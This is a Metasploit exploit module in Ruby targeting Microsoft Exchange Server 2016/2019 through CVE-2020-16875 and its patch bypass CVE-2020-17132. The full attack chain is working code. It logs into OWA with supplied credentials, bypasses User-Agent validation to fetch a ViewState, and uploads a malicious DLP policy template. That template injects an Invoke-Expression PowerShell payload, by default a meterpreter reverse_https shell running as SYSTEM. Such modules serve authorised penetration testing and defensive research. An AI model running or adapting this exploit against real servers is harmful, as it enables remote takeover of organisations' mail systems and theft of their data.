##
# This module requires Metasploit: https://metasploit.com/download
# Current source: https://github.com/rapid7/metasploit-framework
##

class MetasploitModule < Msf::Exploit::Remote

  Rank = ExcellentRanking

  prepend Msf::Exploit::Remote::AutoCheck
  include Msf::Exploit::Remote::HttpClient
  include Msf::Exploit::Powershell

  def initialize(info = {})
    super(
      update_info(
        info,
        'Name' => 'Microsoft Exchange Server DlpUtils AddTenantDlpPolicy RCE',
        'Description' => %q{
          This vulnerability allows remote attackers to execute arbitrary code
          on affected installations of Exchange Server. Authentication is
          required to exploit this vulnerability. Additionally, the target user
          must have the "Data Loss Prevention" role assigned and an active
          mailbox.

          If the user is in the "Compliance Management" or greater "Organization
          Management" role groups, then they have the "Data Loss Prevention"
          role. Since the user who installed Exchange is in the "Organization
          Management" role group, they transitively have the "Data Loss
          Prevention" role.

          The specific flaw exists within the processing of the New-DlpPolicy
          cmdlet. The issue results from the lack of proper validation of
          user-supplied template data when creating a DLP policy. An attacker
          can leverage this vulnerability to execute code in the context of
          SYSTEM.

          Tested against Exchange Server 2016 CU19 on Windows Server 2016.
        },
        'Author' => [
          'Leonard Rapp', # Patch Diffing and Analysis
          'Markus Vervier', # PoC / Exploitation
          'Steven Seeley', # (mr_me) for the original PoC and good discussions
          'Yasar Klawohn', # PoC / Bypass
          'wvu', # Module
          'Spencer McIntyre' # Professional coat-tail rider
        ],
        'References' => [
          ['CVE', '2020-16875'],
          ['CVE', '2020-17132'],
          ['URL', 'https://portal.msrc.microsoft.com/en-US/security-guidance/advisory/CVE-2020-16875'],
          ['URL', 'https://support.microsoft.com/en-us/help/4577352/security-update-for-exchange-server-2019-and-2016'],
          ['URL', 'https://srcincite.io/advisories/src-2020-0019/'],
          ['URL', 'https://srcincite.io/pocs/cve-2020-16875.py.txt'],
          ['URL', 'https://srcincite.io/pocs/cve-2020-16875.ps1.txt'],
          ['URL', 'https://srcincite.io/blog/2021/01/12/making-clouds-rain-rce-in-office-365.html'],
          ['URL', 'https://www.x41-dsec.de/security/advisory/exploit/research/2020/12/21/x41-microsoft-exchange-rce-dlp-bypass/']
        ],
        'DisclosureDate' => '2021-01-12', # Original public disclosure: 2020-09-08, latest patch bypass supported by this module: 2021-01-12
        'License' => MSF_LICENSE,
        'Platform' => 'win',
        'Arch' => [ARCH_X86, ARCH_X64],
        'Privileged' => true,
        'Targets' => [
          ['Exchange Server <= 2016 CU19 and 2019 CU8', {}] # December 2020 updates
        ],
        'DefaultTarget' => 0,
        'DefaultOptions' => {
          'SSL' => true,
          'PAYLOAD' => 'windows/x64/meterpreter/reverse_https',
          'HttpClientTimeout' => 5,
          'WfsDelay' => 10
        },
        'Notes' => {
          'Stability' => [CRASH_SAFE],
          'Reliability' => [REPEATABLE_SESSION],
          'SideEffects' => [
            IOC_IN_LOGS,
            ACCOUNT_LOCKOUTS, # Creates a concurrent OWA session
            CONFIG_CHANGES, # Creates a new DLP policy
            ARTIFACTS_ON_DISK # Uses a DLP policy template file
          ]
        }
      )
    )

    register_options([
      Opt::RPORT(443),
      OptString.new('TARGETURI', [true, 'Base path', '/']),
      OptString.new('USERNAME', [false, 'OWA username']),
      OptString.new('PASSWORD', [false, 'OWA password'])
    ])
  end

  def post_auth?
    true
  end

  def username
    datastore['USERNAME']
  end

  def password
    datastore['PASSWORD']
  end

  def vuln_builds
    # https://docs.microsoft.com/en-us/exchange/new-features/build-numbers-and-release-dates?view=exchserver-2019
    [
      [Rex::Version.new('15.1.225'), Rex::Version.new('15.1.2176')], # Exchange Server 2016
      [Rex::Version.new('15.2.196'), Rex::Version.new('15.2.792')] # Exchange Server 2019
    ]
  end

  def check
    res = send_request_cgi(
      'method' => 'GET',
      'uri' => normalize_uri(target_uri.path, '/owa/auth/logon.aspx')
    )

    unless res
      return CheckCode::Unknown('Target did not respond to check.')
    end

    # Hat tip @tsellers-r7
    #
    # <link rel="shortcut icon" href="/owa/auth/15.1.2044/themes/resources/favicon.ico" type="image/x-icon">
    unless res.code == 200 && %r{/owa/auth/(?<build>[\d.]+)/} =~ res.body
      return CheckCode::Unknown('Target does not appear to be running Exchange Server.')
    end

    if vuln_builds.any? { |build_range| Rex::Version.new(build).between?(*build_range) }
      return CheckCode::Appears("Exchange Server #{build} is a vulnerable build.")
    end

    CheckCode::Safe("Exchange Server #{build} is not a vulnerable build.")
  end

  def exploit
    owa_login
    create_dlp_policy(retrieve_viewstate)
  end

  def owa_login
    unless username && password
      fail_with(Failure::BadConfig, 'USERNAME and PASSWORD are required for exploitation')
    end

    print_status("Logging in to OWA with creds #{username}:#{password}")

    res = send_request_cgi!({
      'method' => 'POST',
      'uri' => normalize_uri(target_uri.path, '/owa/auth.owa'),
      'vars_post' => {
        'username' => username,
        'password' => password,
        'flags' => '',
        'destination' => full_uri('/owa/', vhost_uri: true)
      },
      'keep_cookies' => true
    }, datastore['HttpClientTimeout'], 2) # timeout and redirect_depth

    unless res
      fail_with(Failure::Unreachable, 'Failed to access OWA login page')
    end

    unless res.code == 200 && cookie_jar.cookies.any? { |cookie| cookie.name.start_with?('cadata') }
      if res.body.include?('There are too many active sessions connected to this mailbox.')
        fail_with(Failure::NoAccess, 'Reached active session limit for mailbox')
      end

      fail_with(Failure::NoAccess, 'Failed to log in to OWA with supplied creds')
    end

    if res.body.include?('Choose your preferred display language and home time zone below.')
      fail_with(Failure::NoAccess, 'Mailbox is active but not fully configured')
    end

    print_good('Successfully logged in to OWA')
  end

  def retrieve_viewstate
    print_status('Retrieving ViewState from DLP policy creation page')

    res = send_request_cgi(
      'method' => 'GET',
      'uri' => normalize_uri(target_uri.path, '/ecp/DLPPolicy/ManagePolicyFromISV.aspx'),
      'agent' => '', # HACK: Bypass Exchange's User-Agent validation
      'keep_cookies' => true
    )

    unless res
      fail_with(Failure::Unreachable, 'Failed to access DLP policy creation page')
    end

    unless res.code == 200 && (viewstate = res.get_html_document.at('//input[@id = "__VIEWSTATE"]/@value')&.text)
      fail_with(Failure::UnexpectedReply, 'Failed to retrieve ViewState')
    end

    print_good('Successfully retrieved ViewState')
    viewstate
  end

  def create_dlp_policy(viewstate)
    print_status('Creating custom DLP policy from malicious template')
    vprint_status("DLP policy name: #{dlp_policy_name}")

    form_data = Rex::MIME::Message.new
    form_data.add_part(viewstate, nil, nil, 'form-data; name="__VIEWSTATE"')
    form_data.add_part(
      'ResultPanePlaceHolder_ButtonsPanel_btnNext',
      nil,
      nil,
      'form-data; name="ctl00$ResultPanePlaceHolder$senderBtn"'
    )
    form_data.add_part(
      dlp_policy_name,
      nil,
      nil,
      'form-data; name="ctl00$ResultPanePlaceHolder$contentContainer$name"'
    )
    form_data.add_part(
      dlp_policy_template,
      'text/xml',
      nil,
      %(form-data; name="ctl00$ResultPanePlaceHolder$contentContainer$upldCtrl"; filename="#{dlp_policy_filename}")
    )

    send_request_cgi({
      'method' => 'POST',
      'uri' => normalize_uri(target_uri.path, '/ecp/DLPPolicy/ManagePolicyFromISV.aspx'),
      'agent' => '', # HACK: Bypass Exchange's User-Agent validation
      'ctype' => "multipart/form-data; boundary=#{form_data.bound}",
      'data' => form_data.to_s
    }, 0)
  end

  def dlp_policy_template
    # https://docs.microsoft.com/en-us/exchange/developing-dlp-policy-template-files-exchange-2013-help
    <<~XML
      <?xml version="1.0" encoding="UTF-8"?>
      <dlpPolicyTemplates>
        <dlpPolicyTemplate id="F7C29AEC-A52D-4502-9670-141424A83FAB" mode="Audit" state="Enabled" version="15.0.2.0">
          <contentVersion>4</contentVersion>
          <publisherName>#{Faker::Company.name}</publisherName>
          <name>
            <localizedString lang="en">#{dlp_policy_name}</localizedString>
          </name>
          <description>
            <localizedString lang="en">#{Faker::Hacker.say_something_smart}</localizedString>
          </description>
          <keywords></keywords>
          <ruleParameters></ruleParameters>
          <policyCommands>
            <commandBlock>
              <![CDATA[ & "Invoke-Expression" "#{cmd_psh_payload(payload.encoded, payload.arch.first, exec_in_place: true)}"; New-TransportRule -DlpPolicy ]]>
            </commandBlock>
          </policyCommands>
          <policyCommandsResources></policyCommandsResources>
        </dlpPolicyTemplate>
      </dlpPolicyTemplates>
    XML
  end

  def dlp_policy_name
    @dlp_policy_name ||= "#{Faker::Company.name} Data"
  end

  def dlp_policy_filename
    @dlp_policy_filename ||= "#{rand_text_alphanumeric(8..42)}.xml"
  end

end
